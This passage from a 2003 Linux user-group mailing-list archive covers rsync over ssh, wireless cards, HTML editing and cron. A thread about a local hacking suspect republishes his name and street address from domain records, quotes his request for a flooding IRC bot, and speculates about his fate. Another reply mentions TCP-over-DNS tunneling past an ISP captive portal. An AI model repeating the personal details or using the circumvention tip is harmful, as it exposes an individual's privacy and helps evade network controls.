variations of the command -and read the documentation > over and over- and connecting like this: > > 'rsync -vr user@domain.org@domain.org:/path/to/remote /path/to/local' > > Always yields something like: > > "domain.org@domain.org's password: " > > Anyone have any ideas? I am thinking that I need to push from the server > rather than pull from my workstation but then I would need access to the > rsync executable on the server, which I don't have... > > Any suggestions would be much appretiated. thanks! > > -- > _______________________________________________ > Mike Neuharth > ADCS Technology Specialist > http://www.umn.edu/adcs > =============================================== > E-Mail : mjn@umn.edu > Page Mail : 6126486512@page.metrocall.com > _______________________________________________ > "What is important, it seems to me, is not so much to defend a culture > whose existence has never kept a man from going hungry, as to extract, > from what is called culture, ideas whose compelling force is identical > with that of hunger." -Antonin Artaud > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- Clay Fandre email: clay at fandre.com PGP Key ID: 0x50DBBB60 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From mjn at umn.edu Fri Aug 29 10:12:30 2003 From: mjn at umn.edu (mjn) Date: Mon Jan 17 12:41:04 2005 Subject: [TCLUG] Am I stupid... In-Reply-To: References: Message-ID: On Aug 29, 2003, Troy.A Johnson said: > rsync -e 'ssh -l user@domain.org' -vr domain.org:/path/to/remote > /path/to/local Troy- You rock my world! That worked fantastically! Thanks for the reply! -- _______________________________________________ Mike Neuharth ADCS Technology Specialist http://www.umn.edu/adcs =============================================== E-Mail : mjn@umn.edu Page Mail : 6126486512@page.metrocall.com _______________________________________________ "What is important, it seems to me, is not so much to defend a culture whose existence has never kept a man from going hungry, as to extract, from what is called culture, ideas whose compelling force is identical with that of hunger." -Antonin Artaud _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From mjn at umn.edu Fri Aug 29 10:17:59 2003 From: mjn at umn.edu (mjn) Date: Mon Jan 17 12:41:04 2005 Subject: [TCLUG] Am I stupid... In-Reply-To: <20030829151129.GE10227@fandre.com> References: <20030829151129.GE10227@fandre.com> Message-ID: On Aug 29, 2003, Clay Fandre said: > BTW, you don't need the -l if you use username@system. It's one or the > other. > > ssh -l user system > or > ssh user@system The point -and the problem- is that my username on the system -because of the Ensim setup- is "user@domain.org" and not just "user". doing this: 'ssh user@domain.org' Does not work. You need to do this: 'ssh -l user@domain.org domain.org' to authenticate properly. thanks again! -- _______________________________________________ Mike Neuharth ADCS Technology Specialist http://www.umn.edu/adcs =============================================== E-Mail : mjn@umn.edu Page Mail : 6126486512@page.metrocall.com _______________________________________________ "What is important, it seems to me, is not so much to defend a culture whose existence has never kept a man from going hungry, as to extract, from what is called culture, ideas whose compelling force is identical with that of hunger." -Antonin Artaud _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Fri Aug 29 10:15:48 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:41:04 2005 Subject: [TCLUG] Am I stupid... In-Reply-To: References: Message-ID: On Fri, 29 Aug 2003 09:58:10 -0500 (CDT), mjn wrote: > or is rsync the problem? > > I've got an account on a RH box running Ensim WEBppliance for linux. I am > trying to use rsync to connect to the box and backup a directory to my > local machine. The problem is that the Ensim software uses virtual > servers > and instead of a plain old username, you've got to login with > 'username@domain.org' > > So, likesay, an ssh connection must by executed like this: > > 'ssh -l username@domain.org domain.org' > > To be successful. The issue seems to be that rsync has no --user flag in > it. > > I have tried a few variations of the command -and read the documentation > over and over-and connecting like this: > > 'rsync -vr user@domain.org@domain.org:/path/to/remote /path/to/local' Tell rsync to use a different shell with -e - that shell can be ssh: rsync -azve ssh your.server.com:/home/your/code . the a is archive mode, Z is compress, v is verbose and the e tells it to use a shell other than rsh in this case ssh! > > Always yields something like: > > "domain.org@domain.org's password: " > > Anyone have any ideas? I am thinking that I need to push from the server > rather than pull from my workstation but then I would need access to the > rsync executable on the server, which I don't have... > > Any suggestions would be much appretiated. thanks! > > -- > _______________________________________________ > Mike Neuharth > ADCS Technology Specialist > http://www.umn.edu/adcs > =============================================== > E-Mail : mjn@umn.edu > Page Mail : 6126486512@page.metrocall.com > _______________________________________________ > "What is important, it seems to me, is not so much to defend a culture > whose existence has never kept a man from going hungry, as to extract, > from what is called culture, ideas whose compelling force is identical > with that of hunger." -Antonin Artaud > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 29 10:31:16 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:41:05 2005 Subject: [TCLUG] Rant In-Reply-To: <20030829083915.B22978@joelschneider.net> References: <20030829083915.B22978@joelschneider.net> Message-ID: <3F4F71C4.3060901@visi.com> That is a nice peace of documentation, I worked with many 1500's but NT(3.51) installs. The newer machines (hmmm) like my 2500 uses a CD (smartstart) to boot and configure the hardware and Raid. I'm going to install Linux on my 2500 this weekend (first time on the Proliant platform) I'll document it as I go and attempt to match Joel's Document. I just had a thought about this type of Document. Should the TCLUG have some sort of document library for this kind of work people have done. Include the software for performing work and any trouble shooting along the way. Shell scripts would be an excellent addition to the library as well. Going a step farther I would keep it as simple as possible HTML and a downloads. A simple standard for document format would be good. Each person would keep the documents/downloads on their own website with the TCLUG website pointing to the documents/downloads. This way disk space wouldn't be an issue for TCLUG. Each document and the software could be added to a central repository and burned to CD. A distributed document system to refer to when things don't work as planned. A place for newbe's like me to go for information. This would build a library of information that would be invaluable to the community. Loosing documents like this would be a terrible thing to happen. I know I've deleted some things that I wish I had. Sam. Joel Schneider wrote: >On Mon, Aug 25, 2003 at 11:32:57AM -0500, Adam Maloney wrote: > > >>This is a rant. I'm not looking for help, just an outlet to vent. Please >>don't reply with fixes >> >> > >I once went through the entertaining (?) experience of setting up linux >on an old Compaq ProLiant 1500. The process ended up being a bit >complicated so I documented it on a web page: > >http://www.joelschneider.net/compaq_proliant_1500_debian_potato.html > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Fri Aug 29 10:31:31 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:41:05 2005 Subject: [TCLUG] teekid Message-ID: <20030829153131.GG10227@fandre.com> Anyone know Mr. Parsons? http://www.kansascity.com/mld/kansascity/news/breaking_news/6648900.htm _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Fri Aug 29 10:45:57 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:41:05 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. In-Reply-To: <20030829150846.GD10227@fandre.com> References: <3F4E6D45.50801@mttcc.com> <20030828164956.D406@thinkunix.net> <4572.64.83.200.253.1062112567.squirrel@webmail.askewview.net> <20030829150846.GD10227@fandre.com> Message-ID: <1062171957.9575.31.camel@lotsa> You mean I might actually be able to use my home wireless network? I bought an SMC access point/router and SMC 802.11b card. The box said 1500ft range. I'm lucky to get 20ft and only if there are no walls in the way. Kind of useless. I can't work outside on the deck like I'd hoped. LOL. I see several orinoco gold cards on ebay <$50. lots of external antennas too. Would you recommend the silver over the gold? - Tom On Fri, 2003-08-29 at 10:08, Clay Fandre wrote: > I second the Orinoco card. I have 2 laptops, one with an Orinoco > Silver and another with a Linksys. I'm lucky to get a signal in many > parts of my house with the Linksys while the Orinoco has no problems > at all. Plus the Orinoco has an external antenna connector if I really > want to have some fun. > > On Thu, 28 Aug 2003, Adam wrote: > > > I'm running an Proxim Orinoco Silver card and have had great success with > > it. It has a much better antenna than my linksys or netgear wifi cards. > > Works will with RH9 havent tried it with 8. > > > > Adam > > > > > > > Matt Thoren wrote: > > >> I am considering buying a wireless pcmcia card for my laptop running > > >> RH8. > > >> What is the most linux friendly card to buy? > > > > > > no experience personally, my laptop has wi-fi built in. You want a Prism > > > based chipset I believe. I've heard good things about Netgear MA401, > > > which is a 16-bit card, but again, not personal experience with it. > > > It also depends on what speed/standard you want to interface with. > > > 802.11b is probably in most widespread usage. > > > > > > you could also try asking the wireless users group (TCWUG) > > > http://www.tcwug.org/ > > > > > >> Where are the best wifi locations in the Twin Cities? > > > > > > I've put together a small list of some wireless spots here: > > > http://thinkunix.net/unix/networking/wireless/ > > > > > > -- > > > scot > > > > > > _______________________________________________ > > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > > http://www.mn-linux.org tclug-list@mn-linux.org > > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > http://www.mn-linux.org tclug-list@mn-linux.org > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Fri Aug 29 11:08:16 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:41:05 2005 Subject: [TCLUG] OT html editors In-Reply-To: <1062136634.9575.12.camel@lotsa> References: <1062136634.9575.12.camel@lotsa> Message-ID: <20030829160816.GA6957@skuld.wookimus.net> On Fri, Aug 29, 2003 at 12:57:15AM -0500, Tom Penney wrote: > I've found myself writing a lot of html lately. Our condolances. > ... starting from scratch with a vim takes me forever and is not fun > working with tables. Build simple template files that you use to get started. Why do scratch each time? > Things like changing the background color in one row of a table is a > pain. > Mozilla composer works great for tables but it messes up the formating > of the file terribly. Use tidy. > [Mozilla composer] changes things automatically that I don't want > changed. Then change them back. ;-) > I've been starting by first laying out my tables and stuff with the > mozilla composer then doing everything else in vi. any suggestions? BINGO! You've found the answer! Add tidy to your toolbox and start playing with stylesheets. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 240 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030829/a1a5f328/attachment.pgp From jima at beer.tclug.org Fri Aug 29 11:11:57 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:41:05 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. In-Reply-To: <1062171957.9575.31.camel@lotsa> Message-ID: On 29 Aug 2003, Tom Penney wrote: > You mean I might actually be able to use my home wireless network? I > bought an SMC access point/router and SMC 802.11b card. The box said > 1500ft range. I'm lucky to get 20ft and only if there are no walls in > the way. Kind of useless. I can't work outside on the deck like I'd > hoped. LOL. I see several orinoco gold cards on ebay <$50. lots of > external antennas too. Would you recommend the silver over the gold? The order is: Bronze < Silver < Gold. Bronze doesn't suppose WEP, Silver supports 64-bit, and Gold supports 64- or 128-bit. Although I've heard rumors that the former two can be flashed to the latter's firmware. I wouldn't know; I only have Golds. (Or the Dell Truemobile 1150, which is basically an Orinoco Gold.) Good cards, I've been pretty happy with them. Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kremer at ringworld.org Fri Aug 29 11:12:29 2003 From: kremer at ringworld.org (Justin Kremer) Date: Mon Jan 17 12:41:05 2005 Subject: [TCLUG] OT: Can I get 800MB CD media locally? Message-ID: <9650E032-DA3B-11D7-B11E-000A957FC086@ringworld.org> I need some 800MB (90 minute) CD-R media, and I've tried all the usual suspects. (Best Buy, CompUSA, Office *, Micro Center, General Nano, Tran Micro, PC Adventures) Does anyone know of a local place that does sell 800MB media? My boss was supposed to order this stuff for me a week ago and forgot. Now I need it today, so ordering online isn't an option. *smashes head on desk repeatedly* Sometimes I love my job so much I could just hurl... -- Justin Kremer _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From ben.neigebauer at compellent.com Fri Aug 29 11:01:29 2003 From: ben.neigebauer at compellent.com (Neigebauer, Ben) Date: Mon Jan 17 12:41:05 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. Message-ID: <146431CFD07FE94984B432636FCDF8060FB7E9@C1MAIL1.agiliti.net> I'd say gold over silver, 128 bit encryption. I have one of older Orinoco cards, it still says "Wavelan" on it. Benjamin E. Neigebauer Software Engineer Compellent Technologies Eden Prairie, MN 55344 -----Original Message----- From: Tom Penney [mailto:blots@visi.com] Sent: Friday, August 29, 2003 10:46 AM To: TCLUG Subject: Re: [TCLUG] wireless pcmcia card recommendations?.. You mean I might actually be able to use my home wireless network? I bought an SMC access point/router and SMC 802.11b card. The box said 1500ft range. I'm lucky to get 20ft and only if there are no walls in the way. Kind of useless. I can't work outside on the deck like I'd hoped. LOL. I see several orinoco gold cards on ebay <$50. lots of external antennas too. Would you recommend the silver over the gold? - Tom On Fri, 2003-08-29 at 10:08, Clay Fandre wrote: > I second the Orinoco card. I have 2 laptops, one with an Orinoco > Silver and another with a Linksys. I'm lucky to get a signal in many > parts of my house with the Linksys while the Orinoco has no problems > at all. Plus the Orinoco has an external antenna connector if I really > want to have some fun. > > On Thu, 28 Aug 2003, Adam wrote: > > > I'm running an Proxim Orinoco Silver card and have had great success with > > it. It has a much better antenna than my linksys or netgear wifi cards. > > Works will with RH9 havent tried it with 8. > > > > Adam > > > > > > > Matt Thoren wrote: > > >> I am considering buying a wireless pcmcia card for my laptop running > > >> RH8. > > >> What is the most linux friendly card to buy? > > > > > > no experience personally, my laptop has wi-fi built in. You want a Prism > > > based chipset I believe. I've heard good things about Netgear MA401, > > > which is a 16-bit card, but again, not personal experience with it. > > > It also depends on what speed/standard you want to interface with. > > > 802.11b is probably in most widespread usage. > > > > > > you could also try asking the wireless users group (TCWUG) > > > http://www.tcwug.org/ > > > > > >> Where are the best wifi locations in the Twin Cities? > > > > > > I've put together a small list of some wireless spots here: > > > http://thinkunix.net/unix/networking/wireless/ > > > > > > -- > > > scot > > > > > > _______________________________________________ > > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > > http://www.mn-linux.org tclug-list@mn-linux.org > > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > http://www.mn-linux.org tclug-list@mn-linux.org > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Fri Aug 29 11:15:14 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:41:05 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. In-Reply-To: <1062171957.9575.31.camel@lotsa> References: <3F4E6D45.50801@mttcc.com> <20030828164956.D406@thinkunix.net> <4572.64.83.200.253.1062112567.squirrel@webmail.askewview.net> <20030829150846.GD10227@fandre.com> <1062171957.9575.31.camel@lotsa> Message-ID: <20030829161514.GH10227@fandre.com> On Fri, 29 Aug 2003, Tom Penney wrote: > You mean I might actually be able to use my home wireless network? I > bought an SMC access point/router and SMC 802.11b card. The box said > 1500ft range. I'm lucky to get 20ft and only if there are no walls in > the way. Kind of useless. I can't work outside on the deck like I'd > hoped. LOL. I see several orinoco gold cards on ebay <$50. lots of > external antennas too. Would you recommend the silver over the gold? > Go for the gold! The gold has 128-bit encryption vs 64-bit for the Silver. Actually now that I think about it, I have the gold. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From adamm at sihope.com Fri Aug 29 11:20:44 2003 From: adamm at sihope.com (Adam Maloney) Date: Mon Jan 17 12:41:05 2005 Subject: [TCLUG] teekid In-Reply-To: <20030829153131.GG10227@fandre.com> Message-ID: No, but I googled him and found a rather incriminating message posted to a forum: Teekid "im looking for a verfy tiny irc bot that all it does is have a web download , and a very stable udp feature , thats it :) possibly in asm or c , like evilbot would be good , thats what im using now , but if you have more than 100 or so in 1 chan a bunch ping out , and it has some un-needed features (the icmp is shit) possibly open source would be good too :)" Great, he wants his l33t h4ck3r stuff open-source! I also see google has a cached copy of a hacked version of the Minnesota Government Finance Officers Association site with his signature on it. He has a website, www.t33kid.com, which is currently off-line. Domain: t33kid.com Registrant (JP397-IYD-REG) Jeff Parson root@t33kid.com 603 8th Ave S. Hopkins, Minnesota 55343 US +1.1111111111 ... Google has a cached copy of this as well, nothing interesting, just the usual l33t stuff. He also sucks at counterstrike. I unfortunately can't find any e-mails or usenet posts from him (he's an IRC kiddie, I guess that should be expected). So I can't try and determine where he gets his connectivity from. I checked, he's not one of my customers ;) It looks like he had a Qwest.net account back in 2000. On Fri, 29 Aug 2003, Clay Fandre wrote: > Anyone know Mr. Parsons? > > http://www.kansascity.com/mld/kansascity/news/breaking_news/6648900.htm > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > Adam Maloney Systems Administrator Sihope Communications _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Fri Aug 29 12:24:26 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:41:05 2005 Subject: [TCLUG] teekid In-Reply-To: References: <20030829153131.GG10227@fandre.com> Message-ID: <20030829172426.GJ10227@fandre.com> On Fri, 29 Aug 2003, Adam Maloney wrote: > He has a website, www.t33kid.com, which is currently off-line. Gotta love Google... http://216.239.39.104/search?q=cache:FEZleHDR3mcJ:t33kid.com/+teekid&hl=en&ie=UTF-8 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From poptix at techmonkeys.org Fri Aug 29 12:43:52 2003 From: poptix at techmonkeys.org (Matthew S. Hallacy) Date: Mon Jan 17 12:41:05 2005 Subject: [TCLUG] Linksys router denying web access In-Reply-To: <20030828234325.GC25036@refried.org> References: <20030828024829.GA11602@isis.visi.com> <20030828234325.GC25036@refried.org> Message-ID: <20030829174352.GS13598@techmonkeys.org> > I don't know if Comcast is still doing this but they used to require you > to provision your cable modem to get it to run. That meant telling > their tech support what the MAC address of the cable modem and the > MAC address of the computer behind it was. I think there was a serial > number for the cable modem too. So if you used your laptop to test the > connection when the cable guy was there, then moved in your firewall > box, you had to call tech support to change it over before it would > work. FYI, Comcast allows any DOCSIS 1.0/1.1 compatible cable modem on their network now. It's got something resembling a captive portal where you have to punch in the information on a web page, then you're 'activated'. Until you activate, the cable modem is locked at 128kbit up/down, and the only thing that can hit the internet is DNS queries. (quite useful if you want to do any TCP-over-DNS tunneling in a pinch) New computers are automatically added to your account, although you might need to reboot the cable modem once to clear the old mac address. > > That's my best guess. > > Nate > Hoping that Charter Cable doesn't give me nightmares. Charter has more of that home town feeling, ie, less pains with corp. policy, but also less clue when it comes to fixing things or allowing ports though. -- Matthew S. Hallacy FUBAR, LART, BOFH Certified http://www.poptix.net GPG public key 0x01938203 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Fri Aug 29 14:34:25 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:41:05 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. In-Reply-To: References: Message-ID: <1062185665.9575.37.camel@lotsa> On Fri, 2003-08-29 at 11:11, Jima wrote: > On 29 Aug 2003, Tom Penney wrote: > > You mean I might actually be able to use my home wireless network? I > > bought an SMC access point/router and SMC 802.11b card. The box said > > 1500ft range. I'm lucky to get 20ft and only if there are no walls in > > the way. Kind of useless. I can't work outside on the deck like I'd > > hoped. LOL. I see several orinoco gold cards on ebay <$50. lots of > > external antennas too. Would you recommend the silver over the gold? > > The order is: Bronze < Silver < Gold. Bronze doesn't suppose WEP, Silver > supports 64-bit, and Gold supports 64- or 128-bit. Although I've heard > rumors that the former two can be flashed to the latter's firmware. I > wouldn't know; I only have Golds. (Or the Dell Truemobile 1150, which is > basically an Orinoco Gold.) Good cards, I've been pretty happy with > them. > > Jima Thanks, I just ordered a Dell Truemobile 1150. :-D -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Fri Aug 29 15:06:54 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:41:06 2005 Subject: [TCLUG] auto run scripts.... Message-ID: <0399641989D32043BED5793CCC8F5CD526FABB@BPEXU1VM2.andersencorp.com> I have 2 poorly written scripts that I would like to have run every day at around the same time....how can I write another script to make this happen? I don't use X so I cant use any of those fancy scheduling tools I'm sure they have.....any ideas? Dan Lansing ITSC -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030829/387b4792/attachment.htm From smac at visi.com Fri Aug 29 15:14:27 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:41:06 2005 Subject: [TCLUG] teekid In-Reply-To: References: Message-ID: <3F4FB423.30505@visi.com> If the bone head had done this before he was 18 he would be a juvenile. He would have stood a chance at life after prison. Now he's toast, he will find prison at 18 years old very challenging. And he will not be able to use a computer for a very long time after prison. My biggest worry at 18 was a speeding ticket. I volunteered at Woodland hills juvenile detention center in Duluth, MN. I was still in High School, 1975-77 these guys were tough hard criminals, most were 15 -17 years old. 30% went on to Stillwater State Prison after they turned 18 and committed more crimes. This kid, if he gets in with the likes of these guys, will get an education he did not expect. He's lucky he did it in Minnesota if he was in Texas, OH sweet jesus his neck would be on the line. What a waste. Sam. P.S. I play DOD not CS so I wouldn't know his stats. From my stats I'm a little better then average. Look for Mirkwood on [OWP] Mikes Marauders server. Adam Maloney wrote: >No, but I googled him and found a rather incriminating message posted to a >forum: > >Teekid >"im looking for a verfy tiny irc bot that all it does is have a web >download , and a very stable udp feature , thats it :) possibly in asm or >c , like evilbot would be good , thats what im using now , but if you have >more than 100 or so in 1 chan a bunch ping out , and it has some un-needed >features (the icmp is shit) > >possibly open source would be good too :)" > >Great, he wants his l33t h4ck3r stuff open-source! > >I also see google has a cached copy of a hacked version of the Minnesota >Government Finance Officers Association site with his signature on it. > >He has a website, www.t33kid.com, which is currently off-line. > > Domain: t33kid.com > > Registrant (JP397-IYD-REG) > Jeff Parson > root@t33kid.com > 603 8th Ave S. > Hopkins, Minnesota 55343 US > +1.1111111111 >... > >Google has a cached copy of this as well, nothing interesting, just the >usual l33t stuff. He also sucks at counterstrike. > >I unfortunately can't find any e-mails or usenet posts from him (he's an >IRC kiddie, I guess that should be expected). So I can't try and >determine where he gets his connectivity from. I checked, he's not one of >my customers ;) It looks like he had a Qwest.net account back in 2000. > > >On Fri, 29 Aug 2003, Clay Fandre wrote: > > > >>Anyone know Mr. Parsons? >> >>http://www.kansascity.com/mld/kansascity/news/breaking_news/6648900.htm >> >>_______________________________________________ >>TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >>http://www.mn-linux.org tclug-list@mn-linux.org >>https://mailman.real-time.com/mailman/listinfo/tclug-list >> >> >> > >Adam Maloney >Systems Administrator >Sihope Communications > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Fri Aug 29 15:10:05 2003 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 12:41:06 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. In-Reply-To: <1062185665.9575.37.camel@lotsa> Message-ID: | Thanks, I just ordered a Dell Truemobile 1150. :-D Be careful with those. I seem to recall that Dell changed them from orinico silver to something else at some point, but kept the Truemobile 1150 name. Kinda like how there are 4 or 5 (more now?) revisions of the Linksys LNE100 card...only worse. Andrew S. Zbikowski | http://www.ringworld.org A password is like your underwear; Change it frequently, don't share it with others, and don't ask to borrow someone else's. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From erik at andersonfam.org Fri Aug 29 15:10:25 2003 From: erik at andersonfam.org (Erik Anderson) Date: Mon Jan 17 12:41:06 2005 Subject: [TCLUG] auto run scripts.... In-Reply-To: <0399641989D32043BED5793CCC8F5CD526FABB@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD526FABB@BPEXU1VM2.andersencorp.com> Message-ID: <3F4FB331.3080503@andersonfam.org> Lansing, Dan wrote: > I have 2 poorly written scripts that I would like to have run every day > at around the same time?.how can I write another script to make this > happen? I don't use X so I cant use any of those fancy scheduling tools > I'm sure they have?..any ideas? cron's the answer... Here's a good webpage explaining it... http://www.aota.net/Script_Installation_Tips/cronhelp.php4 -Erik _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Fri Aug 29 15:09:48 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:41:06 2005 Subject: [TCLUG] OT html editors In-Reply-To: <3F4F6A63.3040009@cdf123.com> References: <1062136634.9575.12.camel@lotsa> <3F4F6A63.3040009@cdf123.com> Message-ID: <1062187788.9575.94.camel@lotsa> On Fri, 2003-08-29 at 09:59, Chris Frederick wrote: > I highly recommend learning Regular Expresions. I was getting pretty > good with vim with web development, but like you said, sometimes working > with tables by hand takes forever. But now that I know Regular > Expresions, I see tables for what they are, patterns. And HTML is > extremely "RegEx frendly", the whole language is nothing but patterns of > tags. For a real quick example, it only takes one command in vim to > right align all the cells with numeric data in them > (:s/\(\d\+\)<\/td>/\1<\/td>/g). If you're going to > be making large changes with HTML, or other simalar files (XML is even > easier yet), a good grasp on Regular Expresions is a HUGE help. Thanks for all of your suggestions. I do need to learn more about regex's (doesn't everybody). I've never used them within vi, I muddle though them in perl enough you'd think they would be second nature by now. On Fri, 2003-08-29 at 07:38, The Wandering Dru wrote: > Mozilla's Composer can be told to "leave my code the hell > alone!" Check out the preferences. I'll do that. It's maddening when the editor breaks your code. /I don't what my "&" replaced with "&"/ On Fri, 2003-08-29 at 11:08, Chad Walstrom wrote: > Use tidy. > > I've been starting by first laying out my tables and stuff with the > > mozilla composer then doing everything else in vi. any suggestions? > > BINGO! You've found the answer! Add tidy to your toolbox and start > playing with stylesheets. I'll give tidy a try, thanks! http://tidy.sourceforge.net/ -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Fri Aug 29 15:14:41 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:41:06 2005 Subject: [TCLUG] auto run scripts.... Message-ID: <0399641989D32043BED5793CCC8F5CD54D36C6@BPEXU1VM2.andersencorp.com> Yay!!!! You get a gold star!!!! And a cookie!!! Thanks! Dan Lansing -----Original Message----- From: Erik Anderson [mailto:erik@andersonfam.org] Sent: Friday, August 29, 2003 3:10 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] auto run scripts.... Lansing, Dan wrote: > I have 2 poorly written scripts that I would like to have run every day > at around the same time?.how can I write another script to make this > happen? I don't use X so I cant use any of those fancy scheduling tools > I'm sure they have?..any ideas? cron's the answer... Here's a good webpage explaining it... http://www.aota.net/Script_Installation_Tips/cronhelp.php4 -Erik _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Fri Aug 29 15:15:59 2003 From: zibby+tclug at ringworld.org (Andy 